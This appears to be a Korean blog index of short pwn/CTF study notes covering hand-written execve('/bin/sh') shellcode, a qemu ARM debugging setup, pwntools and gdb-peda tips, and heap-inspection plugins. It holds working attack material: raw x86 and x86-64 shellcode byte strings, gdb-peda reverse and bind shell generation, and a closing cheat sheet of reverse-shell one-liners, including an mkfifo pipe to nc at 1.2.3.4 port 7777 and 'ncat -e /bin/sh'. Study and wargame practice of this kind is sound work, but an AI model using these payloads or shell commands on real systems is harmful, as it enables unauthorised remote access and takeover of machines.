연습 또 연습.

처음으로 쉘코드를 만들어 보았다.일단 32비트 기준으로eax : system call 번호ebx : 첫 번째 매개변수ecx : 두 번째 매개변수edx : 세 번째 매개변수 맞춰준 다음에, int 0x80으로 시스템 콜 목표는 execve(&"/bin/sh", NULL, NULL); xor eax,eax push eax mov ecx,esp mov ecx,esp push 0x68732f2f push 0x6e69622f mov ebx,esp mov al,0xb int 0x80 간단 ㅋ이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다. #include char * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x8..

일단 설치 sudo apt-get install gdb-multiarch sudo apt-get install qemu-user-static sudo apt-get install gcc-arm-linux-gnueabi 그다음에 armlib이라는 폴더 생성 후 qemu와 lib을 모두 넣는다. mkidr armlib cp -r /usr/arm-linux-gnueabi armlib cd armlib ld와 libc 추가 ln -s /usr/arm-linux-gnueabi/lib/ld-linux.so.3 /lib ln -s /usr/arm-linux-gnueabi/lib/libc.so.6 /lib 이 상태에서 실행 및 디버깅 한다. chroot . ./qemu-arm-static -g [port] ./[bin..

p = process('./binary')pie_base = p.libs()['바이너리절대경로'] e = ELF('./binary')e.path # 바이너리 절대경로

gdb-peda$ shellcode generate입력하면 만들 수 있는 쉘코드 종류가 나온다. connect는 리버스 쉘 연결이고bindport는 자기가 열어놓고 기다린다. 즉, connect로 하면 내가 nc -lvp 8888 처럼 포트 열어놓고 기다려야 한다..... (이거때매 삽질함)bindport를 사용하면 열리니까, 그냥 접속하면 된다. 쉘코드 생성방법은 다음과 같다. 아래는 복붙용ㅋshellcode generate x86/linux bindport 8888 127.0.0.1

peda에서는 heap 명령어가 없는데아래 링크에서 기능을 입힐 수 있다.https://github.com/scwuaptx/Pwngdb parseheap - 할당되거나 free된 청크 파싱heapinfo - free된 티캐시, 패스트빈 목록 확인 가능 엄청 강력하다.

"\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" x86-64 (http://shell-storm.org/shellcode/files/shellcode-806.php)"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" x64 (23 byte shellcode)"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x5..

높은주소 스택힙bss데이터코드 낮은주소

from pwn import * shell = ssh(host='pwnable.kr', user='starcraft', password='guest', port=2222)shell.download_file('starcraft') 또는 shell.downloads('starcraft')

# cat /proc/sys/kernel/randomize_va_space2=> ASLR 걸려잇다 lld test1했을 때 주소 계속 바뀌면 aslr 걸려있는 것

sleep 1000 | telnet localhost 5555 | /bin/sh | telnet localhost 6666nc localhost 5555 | /bin/sh | nc localhost 6666sh >&4 0ncat -l -p 8888 -e /bin/shexec 1 > &4 ; exec 0 > &4; sh;(4는 fd 넘버) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 7777 >/tmp/f